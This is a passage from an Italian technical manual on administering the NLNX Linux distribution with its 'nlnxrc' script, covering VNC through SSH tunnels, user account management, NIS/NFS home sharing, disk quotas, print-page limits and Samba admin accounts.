Come già accennato, c'è la possibilità di usare VNC utilizzando una parola d'ordine predefinita, che così può semplificare il lavoro, almeno in una rete locale che dia garanzie sufficienti di isolamento. Per questo è possibile avviare un servente grafico locale, attraverso i comandi '**`nlnxrc sharedx`**' e lasciare che il pubblico veda con il comando '**`nlnxrc viewremotex`**'.

Figura 53.49. Un relatore mostra qualcosa al pubblico.

$ nlnxrc sharedx

relatore

pubblico

$ nlnxrc viewremotex

53.2.7 Utilizzo di VNC attraverso un tunnel SSH

I comandi '**nlnxrc vncv**' e '**nlnxrc vncc**', hanno delle alternative, costituite rispettivamente da: '**nlnxrc vncv-ssh**' e '**nlnxrc vncc-ssh**'. Nel secondo caso, il collegamento verso l'elaboratore remoto avviene tramite un tunnel cifrato SSH (Secure Shell).

Si osservi che dal lato del servente VNC non si deve fare nulla di diverso e si utilizzano i comandi già descritti: '**nlnxrc vncs**', '**nlnxrc vncsc**', '**nlnxrc vncss**' o '**nlnxrc vncssc**'.

Figura 53.50. Accesso a un servente X presso un elaboratore remoto, utilizzando un tunnel SSH.

$ nlnxrc vncs
oppure:
$ nlnxrc vncsc
oppure:
$ nlnxrc vncss
oppure:
$ nlnxrc vncssc

tunnel SSH

tunnel SSH

$ nlnxrc vncv-ssh
oppure:
$ nlnxrc vncc-ssh

$ nlnxrc vncv-ssh
oppure:
$ nlnxrc vncc-ssh

Il comportamento dei comandi '**vncv-ssh**' e '**vncc-ssh**', è lo stesso di quelli a cui si abbinano (senza l'estensione '**-ssh**'), con la differenza che per la creazione del tunnel serve l'indicazione del nominativo utente per conto del quale deve essere realizzato, con la richiesta eventuale di una parola d'ordine):

```
.----SSH tunnel for VNC------.
| Please enter the user name |
| to access the remote VNC   |
| server at                  |
| 172.21.254.254:1.          |
| .------------------------. |
| |tizio                   | |
| '------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
'----------------------------'
```

```
.-------SSH tunnel---------.
| You are going to enter   |
| the password to access   |
| 172.21.254.254 with SSH. |
'--------------------------'

Password:
```

Evidentemente, se il tunnel non può essere instaurato, non può avvenire la connessione.

Al termine del collegamento, il tunnel viene eliminato; tuttavia, quando si tenta di avviare un altro collegamento, se esiste già un tunnel dello stesso tipo richiesto, si può tentare di riutilizzarlo:

```
.------------------------------SSH tunnel----------------------------------.
| There is already a tunnel with port 5901:                                |
|                                                                          |
| 19056 ?    Ss   0:00 ssh -N -f -L 5901:localhost:5901 tizio@172.21.254.254 |
|                                                                          |
| What should I do?                                                        |
| .----------------------------------------------------------------------. |
| |                  reuse    try to reuse the old tunnel                | |
| |                  kill     try to kill the SSH process                | |
| |                  abandon  don't do anything                          | |
| '----------------------------------------------------------------------' |
|--------------------------------------------------------------------------|
|                        <  OK  >           <Cancel>                       |
'--------------------------------------------------------------------------'
```

[1] Se l'operazione di estrazione con l'aiuto di WINE fallisce, occorre cercare aiuto in rete, con i dati dell'interfaccia.

[2] Scegliendo la voce '**`AUTO`**', in presenza di un'interfaccia di rete senza fili e di una tradizionale, ha la precedenza quella senza fili, ma la parte di configurazione che non può essere stabilita espressamente prevede una comunicazione in chiaro con qualunque identificativo ESSID.

Utenze e controllo

54.1 Utenze e amministrazione con NLNX 3007

54.1.1 Creazione, modifica e cancellazione delle utenze, in modo interattivo . . . 3008
54.1.2 Creazione, modifica e cancellazione delle utenze, in modo non interattivo 3013
54.1.3 NIS e NFS per utilizzare altre utenze 3014
54.1.4 Controllo dello spazio utilizzato 3016
54.1.5 Controllo del numero di pagine stampabili e dell'origine delle stampe . 3018
54.1.6 Utenze speciali per l'amministrazione 3019

54.2 Utenze condivise e configurazione automatica con NLNX 3021

54.2.1 Condivisione delle utenze attraverso NIS, NFS e Samba 3022
54.2.2 Utilizzo di SSHfs al posto di NFS 3024
54.2.3 Gestione delle utenze 3025
54.2.4 Samba 3025
54.2.5 Servente DHCP 3029

54.3 Controllo dell'accesso a servizi HTTP esterni 3033

54.3.1 Situazione tipica di utilizzo 3033
54.3.2 Controllo a gruppi 3034

54.4 Controllo dell'accesso alla stampante 3036

54.5 Mettere in comunicazione insegnanti e studenti 3038

54.5.1 Organizzazione delle utenze 3038
54.5.2 Funzionamento 3038

`print-filter` 3018 `smb.conf` 3025

54.1 Utenze e amministrazione con NLNX

In generale, la gestione delle utenze da parte di NLNX è quella tradizionale dei sistemi Unix, con delle semplificazioni che facilitano la condivisione delle utenze tramite l'uso di un servente NFS, NIS e Samba.

Tabella 50.69. Script '**`nlnxrc`**': gestione delle utenze.

Comando	Descrizione
`nlnxrc user add` [***utente*** ⮐ ↪ [***home_dir*** ⮐ ↪ [***descrizione*** ⮐ ↪ [***parola_d'ordine***]]]] `nlnxrc user del` [***utente***]	Aggiunge o elimina un'utenza, secondo la procedura completa prevista da NLNX.

Comando	Descrizione
`nlnxrc user passwd` [*utente* ↵ ↪ [*parola_d'ordine*]]	Cambia la parola d'ordine di un utente, secondo la procedura completa prevista da NLNX.
`nlnxrc user info` `nlnxrc home info`	Consente di avere informazioni sugli utenti comuni, partendo, rispettivamente, da un elenco in ordine alfabetico del nominativo utente, oppure della directory personale.
`nlnxrc quota set`	Se è attiva la gestione delle quote di utilizzo della memoria di massa, consente di stabilire il limite di spazio per le utenze.
`nlnxrc quota report`	Se è attiva la gestione delle quote di utilizzo della memoria di massa, visualizza la situazione di tutti gli utenti, ordinando l'elenco partendo da quelli che stanno utilizzando più spazio.
`nlnxrc nis-server-users edit`	Per motivi di sicurezza, indica quali utenti comuni possono accedere direttamente all'elaboratore che offre il servizio NIS.
`nlnxrc machine add` `nlnxrc machine del` [*nome*]	Aggiunge o elimina un'utenza speciale, associata a un elaboratore MS-Windows, per la gestione degli accessi da tale sistema operativo, attraverso Samba.
`nlnxrc admin add` [*nominativo* ↵ ↪ [*descrizione* ↵ ↪ [*parola_d'ordine*]]] `nlnxrc admin del` [*nominativo*]	Aggiunge o elimina un'utenza amministrativa. Per la precisione, si ottiene un amministratore con nome ***nominativo*** dal lato NLNX e uno con nome **`win.`*nominativo*** dal lato MS-Windows.
`nlnxrc admin passwd` [*nominativo* ↵ ↪ [*parola_d'ordine*]]	Cambia la parola d'ordine di un amministratore, secondo la procedura completa prevista da NLNX.

Tabella 50.65. Script '**`nlnxrc`**': configurazione del servizio NIS.

Comando	Descrizione
`nlnxrc nis-server config` `nlnxrc nis-server unconf`	Attiva o disattiva il funzionamento in qualità di servente NIS.
`nlnxrc nis-server-users edit`	Per motivi di sicurezza, indica quali utenti comuni possono accedere direttamente all'elaboratore che offre il servizio NIS.
`nlnxrc nis stop`	Disattiva le funzioni NIS (sia come servente, sia come cliente).

54.1.1 Creazione, modifica e cancellazione delle utenze, in modo interattivo

È necessario gestire la creazione e l'eliminazione delle utenze attraverso lo script '**`nlnxrc`**', per garantire che l'organizzazione di NLNX sia preservata. In particolare, le directory personali degli utenti sono raggruppate per categoria, a partire dalla directory '`/home/`'. Per esempio, la directory '`/home/LUCE/chiara/`' potrebbe essere la directory personale dell'utente '**`chiara`**' che in qualche modo viene considerato parte della categoria '**`LUCE`**'.

Si osservi che NLNX è organizzato in modo da gestire i gruppi privati, pertanto la classificazione descritta degli utenti serve solo a raggruppare le directory personali per facilitare il lavoro di amministrazione.

Un altro elemento distintivo delle utenze di NLNX consiste nei permessi iniziali che vengono dati alle directory personali degli utenti. Queste appartengono in realtà a '**root**' e al gruppo privato dell'utente a cui è affidata la directory, pertanto vengono dati tutti i permessi di accesso, sia al proprietario, sia al gruppo, ma agli altri utenti rimane solo il permesso di accesso, senza la possibilità di leggere il contenuto. Nell'ipotesi dell'utente '**chiara**' già descritta, si possono vedere i permessi seguenti:

ls -l /home/LUCE [*Invio*]

```
…
drwxrwx--x  2 root     chiara    4096 2010-06-14 09:50 chiara
…
```

Questo accorgimento serve a garantire che gli utenti non possano cambiare i permessi della propria directory personale, anche se i permessi dei contenuti rimangono sotto il loro controllo.

A partire dalla directory '`/home/.samba/profiles/`' vengono anche create, automaticamente, delle sottodirectory con gli stessi nomi degli utenti e i permessi per consentire loro l'accesso. Tali directory servono a Samba, per consentire la gestione dei profili personali quando si accede attraverso sistemi MS-Windows. In tal caso, con l'utenza '**chiara**', si ottiene la directory '`/home/.samba/profiles/chiara/`'.

Per inserire una nuova utenza, si comincia con il comando seguente:

nlnxrc user add [*Invio*]

```
.------------------------------Add a new user--------------------------------.
| [en] Please insert the new user name (only lower case letters and numbers, |
| minimum 8 and max 15 characters, the first character must be a letter).    |
|                                                                            |
| [it] Inserire il nominativo utente, composto preferibilmente da cognome e  |
| nome attaccati, ed eventualmente l'anno di nascita, per esempio            |
| "rossimario1990" (si possono usare solo lettere minuscole e cifre          |
| numeriche per un minimo di 8 e fino a un massimo di 15 caratteri, ma il    |
| primo carattere deve essere una lettera).                                  |
| |........9012345|                                                          |
| .------------------------------------------------------------------------. |
| |                                                                        | |
| '------------------------------------------------------------------------' |
|                                                                            |
|----------------------------------------------------------------------------|
|                       <  OK  >            <Cancel>                         |
'----------------------------------------------------------------------------'
```

Il nominativo utente da inserire può essere lungo al massimo 15 caratteri, composti da lettere minuscole dell'alfabeto inglese e da cifre numeriche, senza spazi. Supponendo di voler creare l'utente '**rossimario**', si procede così:

rossimario [OK]

```
.--------------------Classify user-----------------------.
| [en] Please select a hierarchy name for the user: it   |
| will be used as an intermediate directory after        |
| "/home/".                                              |
|                                                        |
| [it] Inserire la classificazione dell'utente: viene    |
| usata come directory intermedia dopo "/home/".         |
| .----------------------------------------------------. |
| |              1AI1011   /home/1AI1011               | |
| |              1AM1011   /home/1AM1011               | |
| |              1AS1011   /home/1AS1011               | |
| |              1BI1011   /home/1BI1011               | |
| |              1BM1011   /home/1BM1011               | |
| |              1BS1011   /home/1BS1011               | |
| |              1CI1011   /home/1CI1011               | |
| |              1CM1011   /home/1CM1011               | |
| |              1DI1011   /home/1DI1011               | |
| |              --------  --------------------------  | |
| |              new       add a new one               | |
| '--------------v(+)----------------------------------' |
|                                                        |
|                                                        |
|--------------------------------------------------------|
|               <  OK  >        <Cancel>                 |
'--------------------------------------------------------'
```

Viene richiesto di specificare la classificazione da dare all'utenza, proponendo un elenco con le directory che sembrano essere già state usate con questo scopo. I nomi usati per la classificazione possono contenere al massimo otto caratteri, a scelta tra lettere maiuscole e cifre numeriche.. Si suppone di voler attribuire all'utente la classificazione '**`5A1011`**' che non risulta ancora prevista, pertanto si seleziona la voce '**`new`**'.

```
.-----------------------------Classify user---------------------------------.
| [en] Please insert a hierarchy name for the user: it will be used as an    |
| intermediate directory after "/home/".                                     |
| Please insert only upper case letters and digits (A-Z, 0-9; min 4, max 8   |
| characters).                                                               |
|                                                                            |
| [it] Inserire la classificazione dell'utente: viene usata come directory   |
| intermedia dopo "/home/".                                                  |
| Inserire solo lettere maiuscole e cifre numeriche (A-Z, 0-9; min 4, max 8  |
| caratteri).                                                                |
| |....5678|                                                                 |
| .------------------------------------------------------------------------. |
| |2010                                                                    | |
| '------------------------------------------------------------------------' |
|                                                                            |
|----------------------------------------------------------------------------|
|                         <  OK  >           <Cancel>                        |
'----------------------------------------------------------------------------'
```

Viene proposto l'anno attuale, ma viene cambiato secondo quanto già previsto:

[*Canc*][*Canc*][*Canc*][*Canc*]

`5A1011` [OK]

```
.--------------------Full user name-----------------------.
| [en] Please insert the user full name and maybe some    |
| more data to identify it.                               |
|                                                         |
| [it] Inserire la descrizione dettagliata dell'utente,   |
| per poterlo identificare con precisione.                |
| .-----------------------------------------------------. |
| |                                                     | |
| '-----------------------------------------------------' |
|---------------------------------------------------------|
|               <  OK  >        <Cancel>                  |
'---------------------------------------------------------'
```

Viene richiesto di specificare il nome completo; in questo caso si indica anche la classe e l'anno scolastico. Si devono evitare la virgola e i due punti, che comunque verrebbero omessi automaticamente:

studente Rossi Mario 5A 2010/2011 [*Invio*]

```
Adding user `rossimario'...
Adding new group `rossimario' (1000).
Adding new user `rossimario' (1000) with group `rossimario'.
Creating home directory `/home/5A1011/rossimario'.
Copying files from `/etc/skel'
```

Al termine viene richiesto di inserire per due volte la parola d'ordine, cosa che deve fare direttamente la persona interessata:

digitazione_all'oscuro [OK]

```
.---------------------------New password-----------------------------.
| [en] Please insert the new password for user "rossimario" with     |
| home directory "/home/5A1011/rossimario". Please insert at least 7 |
| characters.                                                        |
|                                                                    |
| [it] Inserire la nuova parola d'ordine per l'utente "rossimario"   |
| che dispone della directory personale "/home/5A1011/rossimario".   |
| Si prega di inserire almeno 7 caratteri.                           |
|  <-MIN->                                                           |
| .----------------------------------------------------------------. |
| |************                                                    | |
| '----------------------------------------------------------------' |
|--------------------------------------------------------------------|
|                   <  OK  >          <Cancel>                       |
'--------------------------------------------------------------------'
```

L'inserimento corrisponde alla visualizzazione di una serie di asterischi.

digitazione_all'oscuro [OK]

```
.----------------------New password-------------------------.
| [en] Please insert again the new password for user        |
| "rossimario" with home directory "/home/5A1011/rossimario".|
|                                                           |
| [it] Inserire nuovamente la parola d'ordine per l'utente  |
| "rossimario" che dispone della directory personale        |
| "/home/5A1011/rossimario".                                |
|  <-MIN->                                                  |
| .-------------------------------------------------------. |
| |************                                           | |
| '-------------------------------------------------------' |
|-----------------------------------------------------------|
|                <  OK  >        <Cancel>                   |
'-----------------------------------------------------------'
```

Dopo l'inserimento, per due volte, della parola d'ordine, se tutto è stato fatto senza errori, soprattutto se la parola d'ordine è stata inserita correttamente si conclude l'operazione ed eventualmente si può procedere con l'inserimento di un utente successivo. In questo caso si vuole smettere:

[CANCEL]

Si osservi che se si tenta di inserire un nominativo-utente più lungo del consentito, questo viene tagliato al quindicesimo carattere, senza mostrare errori.

L'organizzazione di NLNX richiede che anche il cambiamento della parola d'ordine avvenga attraverso un comando di '**nlnxrc**', avviato di norma dall'amministratore. Ciò dipende dal fatto che NLNX è pensato principalmente per l'utilizzo in rete, con la condivisione delle utenze attraverso il NIS e Samba. Questa limitazione consente di mantenere valido l'abbinamento tra utenze Unix, NIS e Samba, ma richiede di intervenire presso il servente; l'esempio seguente mostra l'amministratore che cambia la parola d'ordine di un utente comune:

`# `**`nlnxrc user passwd`**[*Invio*]

```
.---------------Change password------------------.
| [en] Please insert the user name who have to   |
| change the password.                           |
|                                                |
| [it] Inserire il nominativo utente per il      |
| quale si deve cambiare la parola d'ordine.     |
| .--------------------------------------------. |
| |                                            | |
| '--------------------------------------------' |
|------------------------------------------------|
|           <  OK  >      <Cancel>               |
'------------------------------------------------'
```

`rossimario`[OK]

```
.--------------------------New password----------------------------.
| [en] Please insert the new password for user "rossimario" with     |
| home directory "/home/5A1011/rossimario". Please insert at least 7 |
| characters.                                                        |
|                                                                    |
| [it] Inserire la nuova parola d'ordine per l'utente "rossimario"   |
| che dispone della directory personale "/home/5A1011/rossimario".   |
| Si prega di inserire almeno 7 caratteri.                           |
|  <-MIN->                                                           |
| .----------------------------------------------------------------. |
| |************                                                    | |
| '----------------------------------------------------------------' |
|--------------------------------------------------------------------|
|                   <  OK  >          <Cancel>                       |
'--------------------------------------------------------------------'
```

digitazione_all'oscuro OK

```
.----------------------New password-------------------------.
| [en] Please insert again the new password for user         |
| "rossimario" with home directory "/home/5A1011/rossimario".|
|                                                            |
| [it] Inserire nuovamente la parola d'ordine per l'utente   |
| "rossimario" che dispone della directory personale         |
| "/home/5A1011/rossimario".                                 |
|  <-MIN->                                                   |
| .--------------------------------------------------------. |
| |************                                            | |
| '--------------------------------------------------------' |
|------------------------------------------------------------|
|                 <  OK  >         <Cancel>                  |
'------------------------------------------------------------'
```

Per eliminare un'utenza si procede in modo simile all'inserimento:

`#` **`nlnxrc user del`** [*Invio*]

```
.----Delete an old user------.
| Please insert the user     |
| name to be removed.        |
| .------------------------. |
| |                        | |
| '------------------------' |
|----------------------------|
|   <  OK  >  <Cancel>       |
'----------------------------'
```

`rossimario` OK

54.1.2 Creazione, modifica e cancellazione delle utenze, in modo non interattivo

Nella sezione precedente è illustrato il meccanismo di creazione, modifica e cancellazione delle utenze, in modo interattivo, dove lo script '**`nlnxrc`**' richiede mano a mano le informazioni necessarie all'operatore. Tuttavia, i comandi '**`nlnxrc user add`**', '**`nlnxrc user passwd`**' e '**`nlnxrc user del`**', accettano degli argomenti, così da consentire di svolgere le loro operazioni senza bisogno di un intervento umano; in pratica, in questo modo, è possibile inserire tali comandi all'interno di altri script.

Gli argomenti previsti dai comandi in questione, devono essere forniti in modo completo, altrimenti, le informazioni mancanti vengono richieste in modo interattivo. A titolo di esempio viene mostrato in che modo creare e modificare ed eliminare l'utenza «rossimario», usata nella sezione precedente.

```
# nlnxrc user add rossimario /home/5A1011/rossimario ↩
↪                 "studente Rossi Mario 5A 2010/2011" segretissimo1 [Invio]
```

```
# nlnxrc user passwd rossimario supersegretissimo2 [Invio]
```

```
# nlnxrc user del rossimario [Invio]
```

54.1.3 NIS e NFS per utilizzare altre utenze

NLNX è predisposto inizialmente con pochi utenti: l'amministratore e alcuni utenti comuni. Tuttavia, è disponibile un sistema NIS per la connessione a un servente NIS, dal quale ottenere le informazioni su altre utenze (precisamente per i file '/etc/passwd', '/etc/shadow' e '/etc/group'). In pratica, dal momento che l'utilizzo con un file system in sola lettura (come il DVD *live*) comporta delle limitazioni, è prevista la possibilità di acquisire queste utenze dall'esterno, innestando le directory personali di queste utenze a partire dalla directory '/home/', attraverso il protocollo NFS.

Per l'utilizzo di questa funzionalità, è necessario:

- un servente NIS che metta a disposizione le informazioni dei file '/etc/passwd', '/etc/shadow' e '/etc/group', tenendo conto che se la condivisione del file '/etc/shadow' non funziona bene, potrebbe essere necessario disabilitare presso quel servente l'uso delle parole d'ordine oscurate (*shadow password*);
- un servente NFS che metta a disposizione la directory '/home/', la quale deve contenere le directory personali degli utenti gestiti tramite il servente NIS (se il servente NFS offre la condivisione di un'altra directory, questa non potrebbe essere creata in un DVD *live*, pertanto, in tal caso non vi si potrebbe accedere).

Se sono rispettati questi requisiti, si può attivare la gestione di queste utenze remote attraverso il comando '**nlnxrc nis-home start**':

```
# nlnxrc nis-home start [Invio]
```

```
.--------NIS domain--------.
|                          |
| Please insert the NIS    |
| domain:                  |
| .----------------------. |
| |                      | |
| '----------------------' |
|--------------------------|
|   <  OK  >    <Cancel>   |
'--------------------------'
```

Come si vede dalla figura, viene richiesto l'inserimento del dominio NIS; questa informazione dipende da come è configurato il servente NIS a cui ci si vuole rivolgere e si può ottenere presso un elaboratore già configurato con il comando '**nisdomainname**', senza argomenti. Dopo l'inserimento e la conferma si passa all'indicazione dell'indirizzo IP del servente:

nlnx-domain [OK]

```
.--------NIS server--------.
| Please insert the NIS    |
| server IPv4 address:     |
| .----------------------. |
| |                      | |
| '----------------------' |
|--------------------------|
|  <  OK  >      <Cancel>  |
'--------------------------'
```

In generale è meglio inserire l'indirizzo anche se appartenente alla rete locale; si passa così all'inserimento dell'indirizzo del servente DNS e inizialmente viene proposto lo stesso usato per il NIS:

192.168.1.254 [OK]

```
.--------NFS server--------.
| Please insert the NFS    |
| server IPv4 address:     |
| .----------------------. |
| |192.168.1.254         | |
| '----------------------' |
|--------------------------|
|  <  OK  >      <Cancel>  |
'--------------------------'
```

192.168.1.254 [OK]

Se tutto funziona come si deve, viene innestata la directory '`/home/`' remota e viene avviato il servizio NIS per l'acquisizione delle utenze. A quel punto, le directory personali degli utenti comuni locali non sono più accessibili, perché nascoste sotto quanto acquisito dal servente NFS.

Volendo fare le stesse cose a mano, senza l'aiuto dello script, si potrebbe ottenere lo stesso risultato dell'esempio attraverso i passaggi seguenti:

1. si modifica o si crea il file '`/etc/defaultdomain`', inserendo una riga contenente esattamente il nome del dominio NIS;

   ```
   nlnx-domain
   ```

2. si modifica o si crea il file '`/etc/yp.conf`', inserendo una riga contenente la direttiva '**ypserver**', con l'indirizzo del servente NIS;

   ```
   ypserver 192.168.1.254
   ```

3. si innesta la directory '`/home/`' remota;

   `#` **mount -t nfs 192.168.1.254:/home /home** [*Invio*]

4. si riavvia il servizio NIS.

   `#` **/etc/init.d/nis stop** [*Invio*]

   `#` **/etc/init.d/nis start** [*Invio*]

Per approfondire l'argomento si possono consultare le sezioni 42.3 e 42.4.

Si osservi che l'utente '**tizio**' e gli altri utenti comuni standard, previsti per NLNX, sono associati a numeri UID e GID inferiori a 1000, ovvero al di sotto del livello iniziale previsto per le utenze comuni. Il NIS predisposto con NLNX prevede la condivisione delle utenze che abbiano numeri UID da 1000 in su, pertanto, anche volendo, le utenze standard di NLNX non sono condivisibili se non si cambiano i numeri UID e GID nei file '`/etc/passwd`' e '`/etc/group`'. Tuttavia, il fatto che l'edizione standard di NLNX contenga sempre queste utenze speciali, fa sì che possano condividere gli stessi dati se si attiva un servizio NFS.

54.1.4 Controllo dello spazio utilizzato

NLNX è organizzato per la gestione delle quote di utilizzo della memoria di massa per gli utenti (non vengono considerati i gruppi), ma per l'attivazione di questa occorre procedere inizialmente attraverso comandi manuali. Vengono riassunte brevemente le fasi da eseguire nei punti successivi, partendo dal presupposto che il kernel sia in grado di gestire tale funzionalità.

1. Per prima cosa va controllato il file '`/etc/fstab`', nel quale deve apparire l'opzione '**usrquota**' per le unità da tenere sotto controllo. Nel caso si debba sottoporre alla gestione delle quote la stessa unità che si trova innestata nella directory '`/`', occorre creare un punto di innesto alternativo, come già prevede normalmente NLNX:

```
/dev/sda4   none          swap   sw                                   0  0
/dev/sda2   /             auto   defaults,usrquota,errors=remount-ro  0  1
/dev/sda2   /RO-FS/RW-FS  auto   defaults,usrquota,errors=remount-ro  0  0
proc        /proc         proc   defaults                             0  0
none        /proc/bus/usb usbfs  defaults                             0  0
sys         /sys          sysfs  defaults                             0  0
...
```

2. Se il file '`/etc/fstab`' viene modificato per unità che risultano essere già innestate, occorre procedere a un reinnesto, in modo che l'opzione '**usrquota**' venga acquisita correttamente. L'esempio segue quanto già visto nell'estratto di file '`/etc/fstab`':

   `# ` **`mount -o remount /`** [*Invio*]

   `# ` **`mount -o remount /RO-FS/RW-FS`** [*Invio*]

3. Quando le unità dispongono correttamente dell'opzione '**usrquota**', va fatta la prima scansione per la creazione dei file '`auser.quota`'. Se si tratta di un file system che attualmente risulta utilizzato in lettura e scrittura, può essere necessaria l'opzione '**-m**':

   `# ` **`quotacheck -u -v -c -m -a`** [*Invio*]

4. Una volta fatta la scansione, si attiva la gestione delle quote con lo script '`/etc/init.d/quota`':

   `# ` **`/etc/init.d/quota start`** [*Invio*]

   Naturalmente, all'arresto e al riavvio, questa operazione viene svolta automaticamente.

L'ultima fase consiste nell'attribuire effettivamente le quote agli utenti, per esempio tramite '**setquota**', ma questa operazione va svolta effettivamente attraverso '**nlnxrc quota set**':

`# nlnxrc quota set` [*Invio*]

Quando si avvia il comando per la prima volta, viene creato il file '/etc/nlnx/HOME_DISK_SPACE_ALLOWED', con il contenuto seguente, assegnando una disponibilità di spazio pari a 10000000 byte; contestualmente viene avviato un programma per la modifica dei file di testo, allo scopo di poter cambiare il contenuto di questo file:

```
#
# USER:MAX_BYTES
#
# the record without user name is the default:
# :MAX_BYTES
#
:10000000
```

Come si vede dal suggerimento nel commento iniziale, si può specificare il limite per ogni utente, con la forma:

utente : ***n_byte***

Per dare un limite a tutti gli utenti non dichiarati espressamente in questo file occorre la direttiva seguente:

: ***n_byte***

Quando si salva il file e si termina il funzionamento del programma di modifica dei file di testo, il controllo ritorna a '**nlnxrc**' che chiede se si vuole procedere con l'attribuzione delle quote, secondo quanto definito nel file. Se la risposta è affermativa, le quote vengono assegnate o modificate.

Per la precisione, le quote vengono assegnate relativamente allo spazio utilizzato, senza considerare la quantità di file (numeri inode), fissando lo stesso valore per la quota e il limite massimo (*hard*). Tuttavia, il valore esatto è maggiore rispetto a quello richiesto effettivamente; per la precisione viene assegnato il 25 % in più.

Il limite massimo è pari al limite della quota, per evitare che gli utenti si trovino improvvisamente a perdere dei file quando scade il tempo di riserva (il tempo di grazia). In pratica, se il limite è stato superato, l'operazione di scrittura fallisce e l'utente ne è subito consapevole.

Va osservato anche che la richiesta di un valore di quota troppo elevato e non gestibile, si conclude nella non attribuzione di alcun limite nella quota. D'altra parte, assegnando il valore zero, si ottiene esattamente di non attribuire alcun limite di utilizzo della memoria di massa.

La configurazione delle quote attraverso '**nlnxrc quota set**' è importante perché consente di attribuire la quota predefinita agli utenti che vengono aggiunti al sistema con il comando '**nlnxrc user add**'.

54.1.5 Controllo del numero di pagine stampabili e dell'origine delle stampe

Nella directory '`/etc/script/`' sono presenti due script denominati '**`lpr`**' e '**`lp`**', il cui scopo è quello di eseguire un controllo preliminare su ciò che viene inviato alla stampa, per poi passare il compito ai programmi corrispondenti, che però si trovano nella directory '`/usr/bin/`'. La directory '`/etc/script/`' si trova per prima nell'elenco dei percorsi di avvio (la variabile di ambiente '**`PATH`**'), così che gli script contenuti al suo interno vengono eseguiti prima di cercare programmi con lo stesso nome in altre collocazioni.

Gli script denominati '**`lpr`**' e '**`lp`**' controllano se è stato dichiarato qualcosa a proposito della volontà di limitare le stampe a un certo numero di pagine; se questo controllo non è stato richiesto, avviano i loro programmi omonimi; altrimenti, elaborano il file pervenuto per la stampa con lo script '**`print-filter`**'.

Lo script '**`print-filter`**' che si trova sempre nella directory '`/etc/script/`', cerca di riconoscere il file e se può, cerca di contarne le pagine. Se non può riconoscere il file, o comunque se non può elaborarlo, lo restituisce tale e quale (in tal caso il file in questione continua il suo percorso normale verso la stampa); se invece può gestirlo, lo rielabora in modo da contarne le pagine: se si determina che le pagine da stampare non superano il limite stabilito con la configurazione, il file viene inviato alla stampa; altrimenti viene annotato un messaggio di errore nel registro del sistema.

> È evidente che questo meccanismo di controllo si può raggirare facilmente, utilizzando i programmi '**`lpr`**' e '**`lp`**' con il loro percorso: '`/usr/bin/lpr`', '`/usr/bin/lp`'. Ma lo scopo di questo sistema è solo quello di evitare degli errori, ovvero l'invio di una stampa non desiderata con una quantità enorme di pagine.

La configurazione con la quale si fissa la quantità massima di pagine per stampa, spetta solo all'amministratore:

`#` **`nlnxrc print maxpages`** [*Invio*]

```
.----------------Set max lpr/lp printable pages-------------------.
| Please insert how many pages are allowed to be printed for any |
| single print; if you enter zero or you leave blank, there is   |
| no limit:                                                      |
| .------------------------------------------------------------. |
| |                                                            | |
| '------------------------------------------------------------' |
|----------------------------------------------------------------|
|                    <  OK  >          <Cancel>                  |
'----------------------------------------------------------------'
```

Come si vede dal suggerimento, lasciando il campo vuoto o inserendo esplicitamente il valore zero, si ottiene di annullare il controllo, in modo da non avere alcun limite di stampa. In questo caso vengono specificate 11 pagine:

`11` [OK]

```
.----------------------------------------.
| It will be allowed to print 11 pages at |
| a time.                                 |
|                                         |
|-----------------------------------------|
|                 <  OK  >                |
'-----------------------------------------'
```

Se il controllo delle pagine da stampare viene eseguito, lo script '**print-filter**' aggiunge una specie di «timbro», con le informazioni dell'origine della stampa. In condizioni normali, si tratta di una scritta verticale, che appare vicino al bordo inferiore sinistro del foglio, come si vede nell'immagine successiva:

printed by user 499 tizio /home/tizio from 172.21.17.13 on Fri, 13 Oct 2006 17:07:09 +0200

riferimenti per l'uso del perforatore
(per raccoglitore ad anelli)

In particolare, se si tratta di file di testo, lo script '**print-filter**' li impagina in modo particolare, mettendo l'informazione sull'origine della stampa in alto. Eventualmente, si può intervenire nello script (collocato nella directory '`/etc/script/`') per cambiare l'impaginazione.

54.1.6 Utenze speciali per l'amministrazione

Per facilitare la gestione di un laboratorio, o di una rete locale che si affida a NLNX, è possibile creare delle utenze amministrative speciali, a cui viene associato lo script '`/etc/script/ADMIN`', attraverso la mediazione del programma '`/etc/script/admin`' che controlla alcune cose prima di acquisire i privilegi di un super-utente con UID pari a zero. La creazione di tali utenze è riservata all'utente '**root**', il quale procede con il comando '**nlnxrc admin add**', in modo analogo a quanto già descritto a proposito degli utenti comuni, con la differenza che il nome di tale amministratore deve essere più corto.

L'utente amministratore che si crea in questo modo, predispone un'utenza Unix con numero UID superiore a 60000, appartenente al gruppo '**`admin`**', pari al numero 60999. Ma oltre a questa, crea un'altra utenza Unix denominata '**`win.`*nome***', con UID pari a zero, senza una parola d'ordine valida, rendendola inservibile dal lato Unix, ma tale utenza viene invece aggiunta anche alla gestione di Samba, per consentire all'utente '**`win.`*nome***' di aggiungere un elaboratore con MS-Windows alla gestione delle utenze di Samba.

Supponendo di avere creato l'utenza amministrativa '**`rossi`**', l'accesso con questa al sistema offre un menù di funzioni:

`login:` **`rossi`** [*Invio*]

`Password:` ***digitazione_all'oscuro*** [*Invio*]

Il menù di funzioni cambia a seconda del contesto in cui viene avviato; per esempio, c'è differenza se si tratta di un elaboratore cliente o del servente che gestisce le utenze, inoltre c'è differenza se l'accesso proviene dalla console o da un collegamento remoto. Quello che segue è il menù che si ottiene da un collegamento remoto al servente che gestisce le utenze complessive della rete locale:

```
.------------------------Admin menu--------------------------.
| Admin limited menu                                          |
| .------------------------------------------------------.  |
| |   adduser          Add a new user                     | |
| |   passwd           Change a user's password           | |
| |   description      Change a user's description        | |
| |   user info        Show user info                     | |
| |   home info        Show home directory info           | |
| |   quota report     Show sorted user's quota           | |
| |   nis-make         Rebuild NIS database               | |
| |   add machine      Add a new MS-Windows computer      | |
| |   proxy access     HTTP proxy access permissions      | |
| |   admin passwd     Change your password               | |
| |   custom1          Custom script 1                    | |
| |   custom2          Custom script 2                    | |
| |   custom3          Custom script 3                    | |
| |   exit             Quit                               | |
| '------------------------------------------------------'  |
|------------------------------------------------------------|
|                 <  OK  >         <Cancel>                  |
'------------------------------------------------------------'
```

Tabella 54.24. Descrizione di alcune delle funzioni disponibili.

Funzione	Descrizione
`adduser`	Consente di aggiungere un'utenza al sistema.
`passwd`	Consente di cambiare la parola d'ordine di un'utenza.
`description`	Consente di modificare la descrizione di un'utenza.
